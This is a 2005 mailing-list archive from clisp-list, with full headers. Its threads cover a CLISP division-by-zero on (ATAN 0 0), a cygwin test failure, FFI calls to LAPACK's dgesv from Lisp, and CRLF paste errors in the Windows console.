ESMTP id j4LN7gEW098799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 21 May 2005 16:07:50 -0700 (PDT) (envelope-from jimka@rdrop.com) Message-ID: <428FB054.1030501@rdrop.com> From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: pjb@informatimago.com CC: Jim Newton , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiler gives divide by zero error References: <200505211832.j4LIWvYU044719@agora.rdrop.com> <17039.46034.498327.277007@thalassa.informatimago.com> In-Reply-To: <17039.46034.498327.277007@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 21 16:10:46 2005 X-Original-Date: Sun, 22 May 2005 00:04:04 +0200 Thanks i found the problem, i think. (ATAN 0 0) returns 0.0 in CMUCL and SBCL but signals a div-by-zero error in CLISP. I checked the hyperspec and indeed it says that (ATAN 0 0) gives undefined consequences. Thanks for the information. -jim Pascal J.Bourguignon wrote: > Jim Newton writes: > >>can anyone give me a clue what is causing the divide by >>zero error when i try to load or compile is file? >>It seems to compile and run fine on cmucl and also >>sbcl. >> >>You can download a copy of the program from >>http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz >>and you can compile it with (load "main.lisp") >> >>If someone can give me a hint as to what's happening >>it would be great. thanks. >> >> >> >>; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST)) >>; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH)) >>; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH)) >>; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST)) >>; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST)) >>; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST)) >>; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST)) >>; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION)) >> >>Wrote file /home/web/jimka/lisp/blocker/game.fas >>0 errors, 1 warning >>;; Loading file /home/web/jimka/lisp/blocker/game.fas ... >>*** - division by zero > > > Using the debugger may help locate the origin of the bug. > > http://www.podval.org/~sds/clisp/impnotes/debugger.html > > Start by typing: > > ? RET > > to get a list of debugger commands, then type: > > :bt RET > > to see the backtrace and locate the exact expression that produced > this error. Then with :u and :d you can move up and down the lexical > frames, and you will be able to type normal lisp expressions to > examine variable values. > > From pjb@informatimago.com Sun May 22 06:46:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZqme-0004dk-A2 for clisp-list@lists.sourceforge.net; Sun, 22 May 2005 06:46:24 -0700 Received: from larissa.informatimago.com ([62.93.174.78]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DZqmc-0001tu-LC for clisp-list@lists.sourceforge.net; Sun, 22 May 2005 06:46:24 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 01DA058344; Sun, 22 May 2005 15:45:57 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3A1F0585D3; Sun, 22 May 2005 15:45:33 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D0ADD10FBF3; Sun, 22 May 2005 15:45:28 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050522134528.D0ADD10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-102.9 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp-2.33.83/cygwin/win98 --> streams.erg Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 22 06:48:30 2005 X-Original-Date: Sun, 22 May 2005 15:45:28 +0200 (CEST) I've compiled clisp-2.33.83 (cvs ~ 2005-04-22) on cygwin on Microsoft Windows 98 with: OPTIONS=(--prefix=/usr/local/languages/clisp-2.33.83-cvs-p1 \ --with-dynamic-ffi \ --with-module=clx/mit-clx \ --with-module=wildcard) ./configure ${OPTIONS[@]} \ && cd src \ && ./makemake ${OPTIONS[@]} > Makefile \ && make config.lisp \ && make \ && make check It resulted in one erg: % cat streams.erg Form: (CLEAR-INPUT *QUERY-IO*) CORRECT: NIL CLISP : ERROR UNIX error 2 (ENOENT): No such file or directory -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From Bernard.Urban@meteo.fr Mon May 23 05:03:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaBen-00051N-4T for clisp-list@lists.sourceforge.net; Mon, 23 May 2005 05:03:41 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DaBeG-0006fB-1N for clisp-list@lists.sourceforge.net; Mon, 23 May 2005 05:03:40 -0700 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_28760_binary)/8.9.3) with ESMTP id MAA21332; Mon, 23 May 2005 12:02:52 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed -- opening shared librar ies References: <5F9130612D07074EB0A0CE7E69FD7A03044EBCE8@S4DE8PSAAGS.blf.telekom.de> From: Bernard Urban In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03044EBCE8@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 19 May 2005 18:07:45 +0200") Message-ID: <87vf5aywt3.fsf@merceron.dso.meteo.fr> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 23 05:05:51 2005 X-Original-Date: Mon, 23 May 2005 14:02:48 +0200 "Hoehle, Joerg-Cyril" writes: [...] > Instead of declaring dummy functions just so to get the library opened, > You could try out ffi:foreign-library instead (oops, it appears it's not exported from FFI, so use ffi::foreign-library > (defparameter *fortran-lib* (ffi::foreign-library "libmyf77.so")) Notice that ffi::foreign-library is not in the documentation of 2.33.2, so I missed it. > Yet maybe declaring functions is better, because I forgot what happens in case > a) the library pointer is gc'ed (if you don't store it some place) > b) you save the image and restart from that. > >>In case of lapack, this is probably voluntary, as there are several >>blas libraries available, and you may want to specify a given one. The >>same is true for the underlying Fortran library (f2c and g77 at least >>are available). > Ok, so really you need dlopen() to look at symbols also in libraries previously loaded. > What do you need RTLD_LAZY for? Most runtime Fortran libraries have an undefined symbol (often called MAIN_), which is the entry point of the program to be defined by the user with a PROGRAM statement. Without RTLD_LAZY, you are obliged to link to a dummy shared object with that symbol. > I'll comment another time on your code. For that, I'd appreciate a URL to the documentation for the functions you unterface to. > In your following mails, you obviously find them; a good place to look is the lapack-doc Debian packages (man pages). Thank you for your comments about my code, I will test your suggestions and mail you back the results. Regards. -- Bernard Urban From Bernard.Urban@meteo.fr Tue May 24 02:01:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaVHl-0001SX-FR for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 02:01:13 -0700 Received: from vivaldi.meteo.fr ([137.129.28.17]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DaVHk-0004hT-1b for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 02:01:12 -0700 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by vivaldi.meteo.fr (8.9.3 (PHNE_28760_binary)/8.9.3) with ESMTP id JAA09209; Tue, 24 May 2005 09:01:01 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed References: <5F9130612D07074EB0A0CE7E69FD7A03044EBDCD@S4DE8PSAAGS.blf.telekom.de> From: Bernard Urban In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03044EBDCD@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 20 May 2005 14:16:33 +0200") Message-ID: <87br71dmlv.fsf@merceron.dso.meteo.fr> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 24 02:03:22 2005 X-Original-Date: Tue, 24 May 2005 11:01:00 +0200 "Hoehle, Joerg-Cyril" writes: > Hi again, > > I sent plenty of comments in the other e-mail, so here's the summary and = proposed solutions (all untested). > > (defun solve (matrice y) > "R=E9solution MATRICE * x =3D Y par lapack" > (let ((n (array-dimension matrice 0))) > (with-foreign-object (mat-alien `(c-array double-float ,(* n n)) matr= ice) It does not work, due to rank differences. The conversion works if we write: (with-foreign-object (mat-alien `(c-array double-float (,n ,n)) matrice) Here mat-alien is a 2-dimensional C array, that means a pointer to a pointer to a double. But 2-D arrays in Fortran are always 1-D behind the scene. So this won't work either. > (with-c-var (x-alien `(c-array double-float ,n) y) > (with-foreign-object (ipiv-alien `(c-array int ,n)) > (let ((info (dgesv > n > 1 ; nrhs > mat-alien > n ; lda > ipiv-alien > (c-var-address x-alien) > n))) ; ldb Nice, you do not need to pass the :out argument ! After verification, yes, it is in the FFI documentation, but I did not believe the FFI was so smart. > (if (=3D info 0) x-alien info))))))) Actually, in most of the Lapack subroutines, an non-null info value is not an error, and the returned values contain meaningful information (reduction to triangular form, some eigenvalues computed...).=20 If there is an error, Lapack quits (hence my question about how to intercept the Fortran STOP statement). [...] > One may recognize that this, again, is an instance of passing variable le= ngth arrays to/from functions. Now that the foreign function constructor is= easily available in clisp, we can do this: > > (defun memofn (n) ; actual memoization not shown > (parse-c-type > `(c-function > (:return-type nil) > (:arguments (n (c-ptr int)) > (nrhs (c-ptr int)) > ; a is strictly :in-out, but we throw away the result here > (a (c-ptr (c-array double-float ,n ,n)) :in) You mean (a (c-ptr (c-array double-float (,n ,n))) :in) > (lda (c-ptr int)) > (ipiv (c-ptr (c-array double-float ,n)) :out) > ; b is strictly :in-out, but we throw away the result here > (b (c-ptr (c-array double-float ,n))) > (ldb (c-ptr int)) > (info (c-ptr int) :out)) > (:language :stdc)))) > > (defun solve (matrice y) > ;; This code is bad, because the result is dereferenced even in case of > ;; error. In general, doing so could result in run-time conversion erro= rs. > (multiple-value-bind (ipiv info) > (funcall > (foreign-function #'dgesv (memofn (length y))) > n 1 matrice n y n) > (if (=3D info 0) ipiv))) So here also ipiv is automatically allocated ? > In order to not dereference :out variables upon failures, we have to do w= hat clisp does internally by hand: stack-allocated variables are manipulate= d explicitly then, with-foreign resurfaces: > > (defun memofn (n) ; actual memoization not shown > (parse-c-type > `(c-function > (:return-type nil) > (:arguments (n (c-ptr int)) > (nrhs (c-ptr int)) > ; a is strictly :in-out, but we throw away the result here > (a (c-ptr (c-array double-float ,n ,n)) :in) > (lda (c-ptr int)) > (ipiv c-pointer) ; conceptually :out (c-ptr double-float n) > ; b is strictly :in-out, but we throw away the result here > (b (c-ptr (c-array double-float ,n))) > (ldb (c-ptr int)) > (info (c-ptr int) :out)) > (:language :stdc)))) > ; this differs from the above for ipiv. > > (defun solve (matrice y) > (let ((n (length y))) > (with-foreign-object (ipiv `(c-array double-float ,n)) > (let ((info (funcall (foreign-function > #'dgesv (memofn (length y))) > n 1 matrice n ipiv y n))) > (if (=3D info 0) (foreign-value ipiv)))))) Nice, but see above my remark about info return values. I guess you still need a def-call-out definition, as #'dgesv is not known with the above code alone. > I expect this memoized function declaration stuff to beat any custom nest= ing of with-foreign-object any time -- if memoized. Please report. If n varies from call to call, as is typically the case, it will not help. I am wondering why in clisp foreign arrays must have fixed dimensions ? > One could also memoize the result of foreign-function, but that's less li= kely to work across saved images. > > BTW, UFFI is very far from such conciseness. But then, it's just a matter= of piling up macros. > > > Remembers me that some month ago, I talked about a macro to provide exact= ly such variable-length function definition ability, with :guards (for :out= put checks) and bells and whistles. Any volunteer? > > Regards, > J=F6rg H=F6hle > Thank you a lot for your comments, my code has already improved much. --=20 Bernard Urban From Joerg-Cyril.Hoehle@t-systems.com Tue May 24 07:44:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Daae2-00024T-QH for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 07:44:34 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Daadz-0004HB-Vq for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 07:44:34 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 16:44:28 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 24 May 2005 16:44:25 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EC13B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_ASTERISK BODY: Text interparsed with * 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 24 07:47:20 2005 X-Original-Date: Tue, 24 May 2005 16:44:23 +0200 Hi, [sorry if you already got this, there's a hopefully intermittent = problem with the dumb MS-Exchange->SMTP gateway] Bernard Urban wrote: >I guess you still need a def-call-out definition, as #'dgesv is >not known with the above code alone. Sure, you need a "prototype" definition for #'dgesv, and that will be = redefined (cast) dynamically via the FOREIGN-FUNCTION constructor. >> (with-foreign-object (mat-alien `(c-array double-float=20 >,(* n n)) matrice) >It does not work, due to rank differences. The conversion works if we >write: >(with-foreign-object (mat-alien `(c-array double-float (,n=20 >,n)) matrice) >Here mat-alien is a 2-dimensional C array, that means a pointer to a >pointer to a double. But 2-D arrays in Fortran are always 1-D behind >the scene. So this won't work either. I don't understand what you mean. 2D arrays in CLISP (and cmucl) are = not pointer rows of pointers to doubles, (like char*argv[]), they are = n*m doubles in sequence. Otherwise, the following would yield garbage: (with-c-var (m '(c-array uint8(2 3)) #2a((1 2 3)(4 5 6))) (cast m '(c-array uint8 6))) -> #(1 2 3 4 5 6) BTW, I forgot to recommend you investigate ROW-MAJOR-AREF instead of using nested loops across the matrix (as in your cmucl code). Maybe you wanted to express that the Fortran matrix does not use = row-major order like Lisp (and C)? Indeed, your nested dotimes code is = not expressing row-major order. > (dotimes (i n) > (dotimes (j n) > (setf (deref mat-alien (+ i (* n j))) (aref matrice i j)))) Alternatively, you could transpose the matrix? (There was some mention of array element ordering varying between C and = FORTRAN in the URLs I visited, maybe I now understand). An alternative could be a (:language :fortran) extension to the FFI, = that would treat matrices that way. Don't count on this. >Nice, you do not need to pass the :out argument ! Same with cmucl, BTW, IIRC (that was ten years ago). >If there is an error, Lapack quits (hence my question about how to >intercept the Fortran STOP statement). I have no idea. The two URLs I mentioned do not document the API you = have (they pass integers directly, not pointers to :in integers). You = have to consult the API. Maybe there's a callback or some such that is = called in exceptional situations. Throwing out of foreign code is often dangerous (unreliable in general = -- think about unwind-protect across language barriers), you have to = know the details of the concerned languages. Possibly there's some = callback that you could install. >You mean > (a (c-ptr (c-array double-float (,n ,n))) :in) Thank you very much! Indeed, that's the syntax, not (c-array type n1 n2 ... nm). Silly me! >So here also ipiv is automatically allocated ? Yes, allocated on the stack prior to call, and convert to a Lisp array = upon exit, thanks to: (ipiv (c-ptr (c-array double-float ,n)) :out) BTW, in the example where you allocate it yourself, I wrote: (ipiv c-pointer) ; conceptually :out (c-ptr double-float n) You could also write (ipiv (c-pointer (c-array double-float n))) = ;conceptually :out This will give you better documentation and type-checks (note it's = (c-pointer xyz), not (c-ptr xyz)). But it's a minor point (and a little = slower). Regards, J=F6rg H=F6hle. From sds@gnu.org Tue May 24 12:08:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaelO-0007ry-FM for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 12:08:26 -0700 Received: from sccrmhc12.comcast.net ([204.127.202.56]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DaelJ-0002Ha-Ui for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 12:08:26 -0700 Received: from smtp.podval.org (newton.podval.org[24.60.134.201]) by comcast.net (sccrmhc12) with ESMTP id <2005052419081301200a1u52e>; Tue, 24 May 2005 19:08:14 +0000 Received: from WINSTEINGOLDLAP (fw-ext.alphatech.com [198.112.236.6]) by smtp.podval.org (Postfix) with ESMTP id B6233802C; Tue, 24 May 2005 15:08:12 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <227099391.20050323190658@flavors.com> (Doug Currie's message of "Wed, 23 Mar 2005 19:06:58 -0500") References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <227099391.20050323190658@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Variable L ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 24 12:25:09 2005 X-Original-Date: Tue, 24 May 2005 14:36:41 -0400 > * Doug Currie [2005-03-23 19:06:58 -0500]: > > If I remove the from the lines I paste into the console, the > error goes away. This is with the native windows console, with a clisp > compiled with MinGW/msys on WinXP. what happens when you replace CRLF with just CR or just LF? -- Sam Steingold (http://www.podval.org/~sds) running w2k War doesn't determine who's right, just who's left. From e@flavors.com Tue May 24 15:10:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dahbm-0000Vl-H1 for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 15:10:42 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1Dahbj-0003KA-Mq for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 15:10:42 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id CRS74975; Tue, 24 May 2005 18:10:33 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <984475001.20050524181031@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net In-Reply-To: References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <227099391.20050323190658@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Variable L ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 24 15:13:19 2005 X-Original-Date: Tue, 24 May 2005 18:10:31 -0400 Tuesday, May 24, 2005, 2:36:41 PM, you wrote: >> * Doug Currie [2005-03-23 19:06:58 -0500]: >> >> If I remove the from the lines I paste into the console, the >> error goes away. This is with the native windows console, with a clisp >> compiled with MinGW/msys on WinXP. > what happens when you replace CRLF with just CR or just LF? With just CR it seems to work fine. With just LF there is no LISP error, but the LF does not make a line break in the console. With CRLF it usually, but not always!?, gives an error, e.g., *** - code contains a dotted list, ending with L Is there some line-ending mode in the REPL? The error seems most likely in a fresh console, and less likely after pasting a non-CRLF text followed by a paste of a CRLF text. Caveat, I'm not sure what processing the WinXP command console window may be doing to the text I paste. e From autoreply@best.com Tue May 24 18:49:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dal1U-0004Cp-An for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 18:49:28 -0700 Received: from best.com ([198.104.184.45] helo=best2.best.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dal1S-00089H-MZ for clisp-list@lists.sourceforge.net; Tue, 24 May 2005 18:49:28 -0700 Received: (from best@localhost) by best2.best.com (8.12.11/8.12.11) id j4P1nMxQ097935; Tue, 24 May 2005 18:49:22 -0700 (PDT) From: autoreply@best.com Message-Id: <200505250149.j4P1nMxQ097935@best2.best.com> X-Authentication-Warning: best.com: best set sender to autoreply@best.com using -f To: clisp-list@lists.sourceforge.net X-Request-Originator: clisp-list@lists.sourceforge.net X-Info1: ***************************************************************** X-Info2: This message was generated as an autoresponse to a mail request. X-Info3: Please report abuse of this autoresponder promptly to the site X-Info4: hostmaster. X-Info5: ***************************************************************** X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Support Changes PLEASE READ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 24 18:51:49 2005 X-Original-Date: Tue, 24 May 2005 18:49:22 -0700 (PDT) Dear Best Customer, The e-mail address "sales@best.com" is no longer valid. Please resend your inquiry to: sales@verio-hosting.com Thank You, NTT/Verio Customer Support From Joerg-Cyril.Hoehle@t-systems.com Wed May 25 00:20:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaqBZ-0002Ck-JH for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:20:13 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DaqBX-0003Vs-P3 for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:20:13 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 25 May 2005 09:19:21 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 25 May 2005 09:19:17 +0200 Message-Id: 